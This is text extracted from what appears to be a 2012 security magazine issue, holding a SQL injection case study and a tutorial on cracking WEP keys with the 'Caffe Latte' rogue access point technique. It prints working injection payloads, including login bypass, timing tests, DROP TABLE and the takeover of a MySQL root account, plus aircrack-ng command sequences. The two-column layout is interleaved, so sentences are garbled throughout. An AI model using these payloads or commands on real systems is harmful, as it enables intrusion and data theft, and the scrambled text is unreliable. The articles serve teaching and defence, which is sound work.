if ($j == count($b_arr)) break;
}
return $ret_str;
}
… DMITRY EVTEEV
http://devteev.blogspot.com/, Positive Technologies Co.

www.hakin9.org/en 29
SQL INJECTION

SQL Injection:
A Case Study

We were recently engaged to perform a black-box security evaluation


of a client’s web site that, in part, used SQL. We demonstrated the
significance of how devastating a SQL injection attack can be. In order
to combat the prevalence of this vulnerability, we strongly recommend
that all developers follow the best practice guidelines we outline in this
article.

T
he scenario described here is pedagogical The syntax of this statement is incorrect and would
and so some liberties were taken to gear this result in an error, because it appears to the SQL
discussion strictly to the topic of SQL-injection. interpreter that it should execute a statement selecting
Here we describe a subset of the actions taken and the data from all users with the last name “O” followed by
results obtained. the unrecognized keyword “hara” and additional single
quote and semi-colon.
Introduction The dynamic nature of the above example is also
SQL injection and associated vulnerabilities are possible problematic, in the sense that the statement to be
due to three common, yet critical design flaws. Lack of input executed by the SQL interpreter is created on the fly
sanitization, unnecessary construction of dynamic queries, as the input is entered. In the above case, the first part
and failure to adhere to the Principle of Least Privilege. of the statement SELECT * FROM users WHERE last_name=’
Through our case study, we demonstrate how each of is concatenated with a user-input value and a closing
these design flaws can lead to information or system single quote character. Because of this, an attacker
compromise. Input sanitization refers to the removal of could input values such that the intended SQL statement
unwanted, unexpected or harmful data from application becomes an entirely different statement. For example,
inputs. This can refer to the removal or reformatting of entering the last name value Jones’ OR ‘1’=’1 causes the
unwanted characters or keywords, the truncation of application to create the following statement, which is
excessively long inputs, or the general restructuring of markedly different than what was intended:
an input such that it is as it is expected to be. The need
for input sanitization reaches far beyond the prevention SELECT * FROM users WHERE last_name=’Jones’ OR ‘1’=’1’;
of SQL injection attacks alone, and is the cause of cross-
site scripting, buffer overflow, and a host of other injection Rather than select the date of the user with last name
vulnerabilities. With SQL injection, input sanitization is of “Jones,” this statement will select the data of all users.
particular importance, as many common characters are As with a lack of input sanitization, the consequences
included in the syntax of SQL statements, including ones of these dynamic statements are prevalent in other
that you might anticipate to find within the user’s input. forms of injection attacks, such as XPATH and LDAP
For example, the single quote character (‘) is used in SQL injection. Fortunately, there are elegant methods for
statements to designate the start and end of a string value, avoiding dynamic statements, such as using prepared
but the single quote character is also commonly found in statements and stored procedures, which we discuss
proper names and sentence punctuation. The following later in the mitigations section.
dynamically generated SQL statement would then break The third design flaw we mention is the failure
if the last name “O’hara” was input: to adhere to the Principle of Least Privilege, which
bluntly asserts that a person, process or device
SELECT * FROM users WHERE last_name=’O’hara’; should only have access to the minimum information

30 01/2012
SQL Injection: A Case Study

or resources required to perform its duties. This could SELECT <something> WHERE <something>=’<one of our inputs>’;
be the restriction of read, write or execute privileges,
limitations on storage space, or restrictions on the time- Adding a single quote in the first example would cause
availability of access to resources. With SQL injection a SQL statement to be constructed with an extra
vulnerabilities, our primary concern is with what access quote, resulting in an invalid statement and error.
the calling service (most often a web server) has access No luck. The error message returned immediately was
to within the database. More often than one might “invalid username or password”. In many vulnerable
expect, web services are granted full, administrative cases, we would expect to see a detailed error message
access to the database system when not only should returned from the web server – a drastic information
read-only access be enforced, but read-only access leakage vulnerability that would have immediately
to the minimum set of information required for the identified to us that yes, a SQL server is present, a
application to function. fingerprint, and possibly even a version identifier of the
server and information about the database such as table
Attack Plan and field names which we would not ordinarily know.
Since this evaluation began as a black-box security Though we didn’t receive the detailed message we
assessment, we began by laying out our attack plan were hoping for, it did not mean our SQL injection attack
and including a number of reconnaissance steps. This did not cause an internal error. We may now have to rely
is an excerpt of our plan pertaining to SQL injection on what is referred to as a “blind SQL injection” attack.
vulnerabilities. This is an attack where the results may not be displayed
to the user, at least not in the typical sense.
• Identify inputs to the system. Blind attacks may be verified with the inclusion
• Determine if a SQL server is running / handling of always true or always false statements, such as
these inputs. appending “1=1” or “0=1” to a SQL query, in the hopes
• Determine if SQL injection is possible. that the non-descriptive error message will be activated
• Fingerprint the SQL server. or deactivated depending on the Boolean choice. For
• Determine if we can embed/concatenate statements. example, if we had a legitimate user name and password
• Determine if we can modify the database. (‘jdoe’ and ‘pw123’), we may be able to blindly test if a
• Determine if we can map the database. SQL database is used. After a successful controlled log
• Determine if we can harvest the database. on and failure, we would attempt to log in again with the
• Determine if we can compromise the host server strings jdoe’ AND ‘0’=’1 and jdoe’ AND ‘1’=’1 to verify that
itself. the former failed, and the later granted access, when it
clearly should not have. Inserting these strings could
A good starting point for any black-box investigation look like the following:
is to run a web application scanner on the target
application. These scanners can sometimes identify SELECT id FROM users WHERE uname=’jdoe’ AND
inputs that are not readily noticeable to the naked eye, passwd=’passwd’;
and at the very least can quickly enumerate the inputs SELECT id FROM users WHERE uname=’jdoe’ AND ‘0’=’1’
that make up the attack surface. However, as with any AND passwd=’passwd’;
black-box assessment, the plan needed to be adapted SELECT id FROM users WHERE uname=’jdoe’ AND ‘1’=’1’
and extended as we encountered various pitfalls. First AND passwd=’passwd’;
and foremost, our initial set of inputs to the system
was limited to the log on interface. This included user The first and third statements would be successful,
name and password entry fields, as well as a field for while the second would fail. We would have then
submitting an email address if a password was forgotten. verified that a blind SQL injection was possible in
these fields.
Determine if SQL is used, injectable However, as black-box adversaries, we did not start
Our first, most basic test to determine if SQL is being with legitimate credentials, and so we took a different
used, is to try to cause an error by corrupting a SQL approach. Rather than evaluate whether an injection
statement. We’ve already touched on how this can was successful based on pass or fail results, we
happen above, but now our attempt is more targeted. injected a SQL statement that would take a noticeably
We enter a single quote character in each field, hoping long time to process. If the log on was rejected
to truncate or corrupt a dynamically generated SQL immediately, we wouldn’t have learned much, but if our
query, and cause an error. We are assuming here log on was rejected after a noticeable delay, it would be
that the SQL statement might look something like the safe to assume our injection was successful. We set the
following: username field to the following:

www.hakin9.org/en 31
SQL INJECTION

Jdoe’ OR BENCHMARK(1000000, ENCODE(‘blah’,’nothing’)) OR This attack tells the database to return any user who
‘1’=’1 has the poorly chosen password “password.” When
the subsequent check is made to see if our password
The injected command instructed the SQL database to field matches, we are granted access as whichever
use its pseudo-random number generator one million user happened to be returned first. We now had
times to password-encrypt the phrase “blah” with the access to a user’s account in the system, availing us
pass-phrase “nothing”. To our liking, this significantly additional inputs and therefore additional SQL injection
delayed the return of the failed log on page. We now possibilities.
knew that SQL injection was possible through the
username field. Fingerprinting the SQL server
With our new found access, we were shown the personal
Bypassing the Log on information for a user of the system, including name,
Even though we had discovered at this point that SQL address, phone, email and social security number
injection was possible, we had very little access to what (Hooah!). For the remainder of our assessment, we
was returned from our injected SQL queries. Until we had really didn’t require much more than this page and the
additional access and additional inputs to manipulate, corresponding “update address” page. The following
we may not have been able to fully compromise the was the update address statement:
database, and so our attack plan was updated to focus
on leveraging the SQL injection vulnerability to bypass UPDATE studnets SET address=’<input>’, zip=’<input>’,
the application’s log on page. The means by which a state=’<input>’ WHERE id=id;
web application developer could have implemented the
log on process to the system are potentially infinite, but By setting the zip code field to 1234, zip=’55555” we saw
in practice, the number of reasonable methods is an that the “55555” value was inserted in to the database in
assessable value. It was possible that the SQL query the zip code field, rather than resulting in an error. The
we could inject could entirely subvert the log on process, query string was susceptible to SQL injection.
regardless of how it is structured. Two of the following Our attack plan included tests to fingerprint the SQL
methods were pulled from unnamed online tutorials, and server, that is, to uncover as much information about the
the third was the implementation used by the site we database, host and running services as possible. This
were investigating. All are typical, and easily subverted. information allows an attacker to both eliminate tests and
attacks that are not useful against a particular deployment,
SELECT id FROM users WHERE uname=’<input>’ AND and to focus on attacks that would probably work.
passwd=’<input>’; Many versions of SQL have syntax for directly querying
If results.count = 1 { grant access } else { error } database and system information. For instance, the
VERSION() command in MySQL and PostgreSQL, and
SELECT COUNT(id) AS count FROM users WHERE the SERVERPROPERTY(‘productversion’) command for
uname=’<input>’ AND pw=’<input>’; Microsoft SQL Server. Each of these commands may
If count == 1 { grant access } else { error } return a descriptive string that immediately fingerprints
the server.
SELECT passwd FROM students WHERE uname=’<input>’; Even when these version commands are not
if results.passwd = ‘<input>’ { grant access } else {error } accessible (perhaps the injection results are blind), it
may still be possible to fingerprint a server. Depending
Attacks on the first two log on tests above can be on the server version, certain functions and syntactical
launched by setting the password input field to garbage’ conventions may or may not be permitted as part
OR ‘1’=’1 as in shown in the SQL statement it creates: of a statement. These subtle differences could be
enumerated in an injectable blind field to see what is
SELECT id FROM users WHERE uname=’user_name’ AND and is not allowed. The version of SQL that supports the
passwd=’garbage’ OR ‘1’=’1’; successful attacks and rejects the unsuccessful ones is
then fingerprinted.
These attempts failed during our evaluation, but we were We were able to identify our victim server’s version
successful in the following attack to gain access. By and host system through two different methods. First,
inputting the username field as junk’ OR passwd=’password recall through our earlier attack that we were able to
we created the following SQL statement: get the credentials for an account with the password,
“password.” Going back to the log on screen, we
SELECT passwd FROM students WHERE uname=’junk’ OR entered the correct user name “jdoe” and the following
passwd=’password’; sequence of passwords, testing for correctness:

32 01/2012
SQL Injection: A Case Study

1. pass’ + ‘word Embedded statements are also very powerful tools


2. junk’ OR passwd=concat(‘pass’,’word’) OR ‘0’=’1 for launching SQL injection attacks. An embedded
3. pass’ || ‘word statement is a statement nested within another
statement, such that the result of the inner statement
Through attempts 1 and 2 we were successfully able is used as input to the outer statement. This is
to log in. This led us to strongly believe that our server demonstrated in the following example:
was MySQL, and strongly that it was not an Oracle or
PostgreSQL database. SELECT id FROM users WHERE name=(SELECT name FROM roster
A second attempt to fingerprint the database server WHERE position=’pitcher’);
left no guessing. We injected the following in to the zip
code field when updating our victim account’s address: This statement does just what it sounds like when
reading through it. First, select the name of the
12345’, zip=VERSION(), state=’PA “pitcher” from the table “roster,” then select the id of
the user with that same name.
Note that the additional state=’PA was required to If embedded statements are permitted by the server,
cancel out the single quote added by the dynamic and we have a dynamic query where we can insert our
query after concatenating the zip code string. own injected code, such as with the above vulnerable
To our delight, the value of the zip code field on UPDATE statement, we could inject an entire statement by
our account information page then displayed 5.1.41- setting the first <input> field to:
3ubuntu12.10 a version identifying this system as MySQL
version 5.1 running on an Ubuntu host. junk’, first=(SELECT passwd FROM users WHERE id=3333),
last=’
Concatenating or Embedding Statements
Launching a SQL injection attack becomes much easier resulting in the following full command:
when concatenated or embedded statements are possible.
It allows us to construct entirely standalone statements, UPDATE users SET first=’junk’, first=(SELECT passwd FROM
and we no longer have to rely on the formatting of the users WHERE id=3333), last=’’, last=’fake’ WHERE id=1234;
surrounding dynamically generated SQL to assist us.
A concatenated statement is formed by separating The above example attack will set the name field of our
two valid statements by a semicolon character. For account to the password field of another account.
example, the following SQL query (technically, two Knowing that the server in our assessment was MySQL
queries) performs an UPDATE, followed by a SELECT. version 5.1, we knew that embedded statements might
be possible. By setting the zip code field to an additional
UPDATE users SET first=’<input>’, last=’<input>’ WHERE SELECT statement that returned a scalar value, we saw
id=1234; SELECT * FROM users; that this was indeed possible. Consider the following
input to the zip code field when updating the student’s
If concatenated statements are permitted by the server, information,
and the above UPDATE statement was susceptible to
injection, we could insert an entire statement by setting ‘, zip=(SELECT id FROM students WHERE name=’jdoe’
the first <input> field to LIMIT 1), state=’PA

fake’ WHERE id=1234; DROP TABLE users; The result is that our zip code is not the “12345” that
we first specified, but the second assignment of the
resulting in the following sequence of commands: value returned by the embedded SQL statement,
which was our victim account’s id field. We were now
UPDATE users SET first=’fake’ WHERE id=1234; assured that we would be able to query the database
DROP TABLE users; in nearly any fashion we chose.
’, last=’junk’ WHERE id=1234; SELECT * FROM users;
Mapping And Harvesting The Database
The first command does a pointless set of the name A database can be thought of as a series of tables, each
field for the user with id “1234,” and the second with a series of columns, each with some set of attributes.
command deletes the table named “users.” The third As one might suspect, this information needs to be
command is garbage, and will likely cause an error, stored somewhere. What better place than the database
but we don’t care at this point because our attack is itself? Lucky for most SQL injection practitioners, many
complete. database features, settings, table names and column

www.hakin9.org/en 33
SQL INJECTION

names can be queried and listed through the same UPDATE students SET address=’fake’, zip=’’, zip=(SELECT
database connection that we pull data. Each database password FROM mysql.user WHERE user = ‘root’), state=’’,
server provides its own mechanisms for querying this state=’PA’ WHERE id=id;
information, and we won’t enumerate all the possibilities UPDATE mysql.user SET password = PASSWORD(‘gotcha’)
here, but it suffices to show through the following WHERE user=’root’;
example attacks that a database can be mapped given
even a very limited portal to the information. Later, to cover our tracks we could reset the root
We leveraged our previously demonstrated ability to password to the hashed value we copied out of the
embed SELECT statements within the UPDATE statements database. Alternatively, we could have added a new
to query the underlying database for its table and field user of our own.
names. Similar to the above attack, we injected the We then changed the domain access privileges for the
following in to our zip code field user root to allow connections from anywhere, rather
than only from localhost, with the following statement:
‘, zip=(SELECT table_name FROM information_schema.tables
LIMIT 1,1), state=’PA UPDATE mysql.user SET host=’%’ WHERE user=’root’;

The final SQL statement set our zip code field to the Now, once the MySQL service was restarted, we had
name of the first table in the database’s list of tables, root access to the database from a MySQL prompt.
CHARACTER _ SETS. Other table names can be retrieved by This effectively gave us a shell on the host system, as
simply changing the value of the LIMIT condition. The any shell commands can be launched from the MySQL
following embedded statement, prompt with the syntax \! <cmd>. This gave us control
over much of the file system, and ultimately full control
SELECT table_name FROM information_schema.tables LIMIT 35,1 of the host machine.

obtained the result “students” as the 35th table in the Mitigations


database, and the statement, One should always keep in mind basic security practices
when developing any application. Be it a SQL server, web
SELECT column_name FROM information_schema.columns WHERE server, or anything else, protect your network, protect
table_name= ‘students’, LIMIT 2,1 your passwords, credentials and other sensitive data,
and goodness sake back up your systems. Though these
obtained the result pwd , the second column in the security practices are outside the scope of this article, it is
students table. In a likewise manner, and in an important to always reiterate them, as one can plainly see
automated fashion, we were able to deduce and map that each of these has played a part in our investigation.
the remaining tables within the database. Beyond preventing SQL injection vulnerabilities, the system
Harvesting the database was now possible through we tested should have hashed, or stored passwords and
the very same methods. Knowing all required table and other sensitive information in some encrypted form, a
column names, we could have easily automated the firewall should have been in place to disallow MySQL
process of pulling all data from the database through a access to the server from a remote site, web access
single output. should have been restricted to SSL, and a regular back
up policy should have been in place in case of malicious
Compromising the Host attack or accidental failure. Each of these simple security
As mentioned at the onset of this article, the third design procedures would have closed the door on a wide attack
flaw we set out demonstrate in our assessment was surface, requiring the adversary to dig much deeper.
failure to adhere to the Principle of Least Privilege. Our
target machine, running MySQL version 5.1 on an Ubuntu Non-Descriptive Messages
host, was apparently running the database service with When it comes to SQL injection vulnerabilities, a few
elevated permissions. Furthermore, the database user general security best practices stand out as crucial
www was allowed administrative access to the MySQL best practices. One of these is to avoid descriptive error
database. The combination of these gave us control over messages. With SQL database connections in particular,
much of the system, as we will now demonstrate. descriptive error messages can help guide an attacker
First, with administrative access to the database itself, as they leak information about the back-end database
we were able read the hashed, root password from system, the structure of the tables, and other critical items.
the table, mysql.user and then replace it with our own Websites should portray none but the most benign error
password using the following injected and concatenated messages, so as to maintain a positive user experience,
commands, while not giving an attacker an instruction manual.

34 01/2012
SQL Injection: A Case Study

Input Sanitization and methodology is important, and when possible


Another security best practice critical to SQL injection it is recommended to have a third-party security
vulnerabilities is input sanitization. Controlling user input is audit performed at each stage of the development
paramount, as this is precisely were an attack will originate. process to assure that design and implementation
Special characters that could be used to manipulate the flaws such as the ones outlined in this article don’t
system should be rejected, discarded, or escaped, so surface after deployment. An outside resource that
that they become harmless. Regarding SQL injection, the specializes security audits may be useful in finding
single and double quote characters are hugely problematic security vulnerabilities that the original developers did
if not sanitized properly. Other languages regard brackets, not consider, and periodic security audits should be
braces, parenthesis, semicolons, etc, as special characters, conducted as code is changed during maintenance.
and all non-essential characters should be scrubbed from
any input. MySQL offers an escape option through the Conclusion
function mysql_real_escape_string(), which can be used to At is base, SQL injection works by inserting into web
sanitize input when building a dynamic query string. forms data that was not expected and that extends the
SQL query that the back-end of the system is expecting.
Prepared Statements By carefully crafting the input an attacker may be able to
Many SQL systems allow parameterized statements, gain information about the database (for later attacks),
a.k.a “prepared” statements, to enable queries to and get data from, as well as possibly modify data in
be executed more efficiently. A prepared statement the database. In the perspective of CIA (Confidentiality,
resembles to a function declaration, taking user input as Integrity and Availability) by far the greatest loss seems
arguments, which are passed as parameters to the SQL to be confidentiality, viz. revealing of private, sensitive
statement at the time the query is run. The benefit here or secret data. However, integrity is of equal importance
is that user input is always treated as such, and never and one can envision how availability is affected when
concatenated or allowed to be executable query string data is lost.
information. We recommend using prepared statements We have demonstrated through this case study how
whenever and wherever possible, above all other SQL injection can be devastating, even through a
methods, in order to best prevent SQL injection attacks. minimal set of inputs. We strongly urge all developers
to follow the best practice guidelines described in this
Stored procedures article, and when possible, have their projects audited
Stored procedures are SQL statements created inside the for security vulnerabilities before deployment.
database itself, executed as subroutines. They take user
input as parameters, can incorporate filtering or other
access control methods, and centralize all SQL statement STEPHEN BONO
creation. The centralization of all statements allows for Stephen Bono is founder and president of Independent
easy first or third-party review, as well as checking that Security Evaluators, a security consulting �rm that for the
proper sanitization methods are employed. Care should last 7 years has secured their clients’ systems, networks and
be taken however, as poorly written stored procedures products, by assessing them from the perspective of the
may still be vulnerable to SQL injection attacks. adversary. ISE has demonstrated weaknesses in a number of
publically exposed attacks, notably against the iPhone, car
Principle of Least Privilege immobilizers, the SpeedPass payment system, and numerous
The Principle of Least Privilege commands that a SQL online games. At ISE and in his research, Stephen Bono enjoys
server be run only with the minimum set of permissions approaching problems of network security, cryptography and
needed to perform its function. In our case study, both product evaluation from the standpoint of an adversary, to
the MySQL service and the user “www” with access to best vet his own work as well as ISE’s clients.
the database had unnecessary privileges, and we were
able to leverage this. The web service access should ERSIN DOMANGUE
have been restricted only to the tables it required, Ersin Domangue has 15 years of experience in information
and if stored procedures were implemented, should security. Most of this work has involved cryptography, key
have been restricted only to those specific queries. management and access control. He has worked with ANSI
Furthermore, the MySQL service should only have had and FIPS standard bodies in developing various security
access to the directory with the database files. standards and has been developing security software along
the way. Now, working at ISE, Ersin is going over to the „dark”
Security Audits (offensive) side – doing penetration tests, vulnerability
Formal testing should be an integral part of all development, and security consulting. His work now covers
web application development. A strong test plan the full spectrum of information security.

www.hakin9.org/en 35
SQL INJECTION

« Caffe Latte »
Attack
For several years now, Wireless Encryption Protocol (WEP) has been
known to be a flawed encryption mechanism rather easy to crack.
Unfortunately, despite this common knowledge, WEP is still commonly
used to “secure” wireless networks.

T
raditional WEP attacks require a black hat (i.e. Integrity check
malicious hacker, aka “cracker”) to be in the The integrity check is made by figuring the checksum
wireless access point (AP) vicinity to perform his of CRC32 (M). The obtained checksum, called Integrity
misdeed. “Caffe Latte” attack makes this assumption null Check Value or ICV in WEP, is then concatenated to the
and void since an attacker now simply needs to be near data itself.
a wireless client, such as smartphone, which has been The whole result (M || ICV) will be encrypted.
connected at least once to the AP to crack its WEP key.
The increasing number of wireless clients and the Data encryption
world-wide mobility of their owners considerably To encrypt data, WEP makes a logical XOR between a
increase the attack exposure area of your network. pseudorandom 256 bits long stream, called keystream,
and M || ICV (M).
Introduction
By reading this article, you’ll learn: Encrypted Data = (M || ICV) XOR (Keystream)
• How does WEP work;
• How to Perform a “Caffe Latte” attack; In fact, the keystream is the result of RC4 (IV || K),
• How to protect your wireless access point from it. where:
• K is the shared key between the Access Point and
In order to perform the attack, I assume you already the client. This shared key is manually configured
have a running Backtrack distribution. on both parts and can be :
N.B: The author’s aim is to share knowledge with • 40 bits, i.e. 5 bytes long;
readers in order for them to later protect themselves • 104 bits, i.e. 13 bytes long.
against such an attack. The author is not legally • IV is a 24 bits long Initialization Vector. RC4
responsible for what the reader could do with said is a stream-cipher algorithm whereas each
knowledge. WEP frame must be encrypted with a unique
different key. In this context, the IV, transmitted
Wired Equivalent Privacy without protection in the frame header, has
This part is made for people without knowledge about been designed to avoid repetition during frame
the WEP protocol. encryption.
The WEP protocol has been designed to offer the
same security level as a wired network. Then, it must So, Encrypted Data = (M || ICV) XOR (RC4 (IV||K))
provide authentication, integrity check and encryption
mechanisms to transmit data (M). Indeed, WEP relies Authentication
on a CRC32 checksum and the stream cipher RC4 The 802.11 norm offers two authentication
algorithm. mechanisms:

36 01/2012
« Caffe Latte » attack

Figure 1. Shared Key Authentication process

• Open System Authentication • Rainbow tables are available on the Internet,


• Shared Key Authentication allowing crackers to brute force even more quickly
WEP keys. Those dictionaries contain millions of
Since the subject of this article is about “cracking a entries, associating a given IV to a key stream.
WEP key” with a Caffe Latte attack, we’ll only interest • The encrypted key used is static.
ourselves to the second one. • WEP key with a length of 40 bits (5 characters) or
The Shared Key Authentication (SKA) requires the 104 bits are too short and can be brute forced.
two wireless equipments (Access Point and the client)
to share the same encryption key. The objective of SKA “Caffe Latte” attack
is to check that the client possesses the same key than Vivek Ramachandran, the inventor of the “Caffe Latte”
the AP. If so, the client is authenticated then authorized attack, noticed that once a client has been connected to
to access the wireless network. an access point using WEP, the shared key is cached
During this process, the encryption is NOT transmitted. and stored by the operating system (at least Windows-
In fact, an algorithm called WEP Pseudo-Random type OS and it seems iOS). Moreover, if the client is
Number Generation (PRNG) will produce a stream disconnected from the access point, it will broadcast
called challenge. The access point will then send the continuously gratuitous ARP requests, transmitting to
plaintext challenge to the client and will ask to this latter every machine in the Radio Frequency (RF) field….the
to encrypt it with the shared key. If the access point SSID of the wireless network he has been connected
managed to decrypt it, it means they both possess the to.
same key. Here is the authentication process: Figure 1. In this context, here is the macro scenario of a “Caffe
Latte” attack:
1. The first frame, sent by the client, indicates to the
access point which authentication mode the client • Configuration of the wireless network card;
would like to use (Shared Key Authentication). • In the client’s RF field, detection of a client sending
If the access point is not configured to support this encrypted gratuitous ARP request;
authentication mode, the process stops. • Set up of a rogue access point with the same
2. If not, the access point sends the plaintext name than the access point the client has been
challenge to the client. connected to;
3. Then, the client should answer by sending the • Association of the client with the rogue AP;
encrypted challenge with the WEP key it possesses. • Get enough WEP encrypted packets;
4. Eventually, the access point decrypts the frame • Crack the key
sent by the client and compares the challenge. It
they are identical, the access point considered the The whole operation will be approximately only 6
client as authenticated. minutes long! For this demo, I used a Backtrack 5
distribution.
WEP �aws
WEP flaws are essentially the following:

• The RC4 algorithm offers weak keys and the


available space for the Initializing Vector is to short
(224 possibilities, i.e. less than 17 millions). Figure 2. List your wireless network interfaces

www.hakin9.org/en 37
SQL INJECTION

Figure 3. Con�gure your wireless interface in monitor mode (aka


promiscuous mode)

Figure 5. Association of the client with the rogue AP

00:11:22:33:44:55 is the address MAC of the rogue


access point. It can be anything (Figure 5). The client
Figure 4. Eavesdropping wireless traffic
should connect to our rogue access point.

Con�guring the wireless network card Collecting encrypted data packets


First of all, you need to configure your wireless Now the client is connected to your rogue access point,
network card in promiscuous mode. In this mode, launch immediately the following command to collect all
your card will eavesdrop everything in the RF field. In the data packets transmitted between them:
a shell:
Airodump-ng –c 6 –w capture mon0
• Use the airmon-ng command to list all your wireless
network interfaces (Figure 2) The number of Data should increase rapidly.
Here, the wireless network card is wlan0
• Enable the promiscuous mode by using airmon-ng Cracking the key
start wlan0 (where wlan0 must be replace by your Final step! In a third shell, use the following command:
wireless network card’s name) see Figure 3.
Aircrack-ng –f 4 –m 00:11:22:33:44:55 capture-01.cap
You are ready.
You may have to launch the command several times,
Detecting a vulnerable client waiting for more IV. And voila! For this article, the WEP
Now that your wireless network card is configured, key was demo9. The key has been found in only four
eavesdrop all the WEP wireless traffic into your RF minutes!
field by using the command airdump-ng -encrypt wep (see
Figure 4). How does it work?
We are searching for a client not associated and A station that receives an ARP request automatically
sending gratuitous ARP requests to the access point it responds with an ARP reply. As we saw, in our attack,
has been connected to. In the screenshot above, the the client broadcasts several correctly encrypted
machine 7C:ED:8D:86:F7:33 is not associated and is gratuitous ARP. Hence, our attack consists in taking one
sending requests to the network “Caffe Latte”. Here is of these G-ARP frames, transforming it into a classical
our client!

Setting up a rogue access point


Here is the fun part. In another shell, use the following
command to set up a rogue access point with the same
name than the one the client wants to connect to (Caffe
Latte):

Airbase-ng –N –c 6 –a 00:11:22:33:44:55 –e “Caffe Latte “


–W 1 mon0 Figure 6. Client-AP traffic eavesdropping

38 01/2012
« Caffe Latte » attack

Figure 7. Cracked WEP key!

ARP request by flipping a few bits, sending it to the AP Now, you should say: “OK, but how can you crack the
and waiting for the encrypted ARP reply. By repeating key since the Initialization Vector has been designed to
this operation some several thousand times, will have salt the key, and this for each different frame?”
enough data to crack the key. As I said, the IV is encoded in 24 bits, which makes
If you remember how works WEP, you should tell me “only” 17 million different IV. This means that if you
something like: send more than 17 million ARP requests, an IV will be
Hey, since the packet is encrypted with the WEP key used more than once (we call that collision). The more
we do not know, how can you send correct encrypted collision there is, the easier it will be to crack the key.
data to the AP?
Well, we saw that: Conclusion
WEP is totally flawed. In order to protect yourself or
Encrypted frame = (M || CRC (M)) XOR (RC4 (IV || K)) your enterprise from the “Caffe Latte” attack, here are
simple pieces of advice to follow:
Let’s say we manage to capture an encrypted frame (a
G-ARP frame for example), noted: • DO NOT USE WEP ANYMORE. WEP has been
known unsecured for several years now. Use it
Genuine encrypted frame = RC4 (IV || K) XOR X || CRC (X). only if necessary. If possible, configure your access
point to use WPA2.
If we alter the frame (let’s call this modification Y), we • Configure your wireless device to avoid
obtain: reconnecting automatically to preferred networks.
Crafted encrypted frame = Hence, your device won’t connect to an AP without
RC4 (IV || K) XOR (X+Y || CRC (X+Y)). your consent.
• Disable your WIFI adapter when not in use.
Since CRC is a linear function, we have:

CRC(X+Y) = CRC(X) + CRC(Y)

Then:

Crafted encrypted frame = RC4 (IV||K) XOR X+Y ||


CRC(X) + CRC(Y)).
= RC4 (IV||K) XOR (X ||CRC(X)
+ Y||CRC(Y))
= RC4 (IV||K) XOR ((X||CRC(X))
+ (Y||CRC(Y))
= Genuine encrypted frame +
(Modification ||CRC (Modification))
DAVID JARDIN
Eventually, you do not even need to know the key David JARDIN has a diploma in “Cryptography and
to send correct data. You just need to “add” the Information Security” and has been working as a Security
(Modification ||CRC (Modification)) to the genuine Consultant for two years. He worked mainly on user security
encrypted frame for this frame to be considered as awareness, SSO, antivirus and Android subjects. He is
valid for the access point. interested in mobile security.

www.hakin9.org/en 39

You might also like